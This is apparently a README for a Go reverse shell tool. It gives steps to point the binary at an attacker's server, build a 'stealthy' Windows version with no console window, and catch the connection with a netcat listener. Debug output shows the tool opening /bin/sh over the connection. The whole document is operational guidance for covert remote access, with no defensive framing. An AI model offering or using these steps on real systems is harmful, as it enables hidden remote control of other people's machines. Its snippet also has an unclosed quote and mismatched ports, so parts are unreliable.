To use:
- Set the host address near the top to your server.
const host = "127.0.0.1:1234
- Build using
go build main.go
- Stealthy version
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -H=windowsgui" main.go
(Windows target, build from macos) - Start listening on the server using
netcat -l -p 8080
Example debug output
github.com/orf1/reverse-shell-go
attempting to establish tcp connection with server
dial tcp 127.0.0.1:8080: connect: connection refused
attempting to establish tcp connection with server
connection established
detecting operating system
detected mac or linux, using /bin/sh
binding standard interfaces to connection
shell opened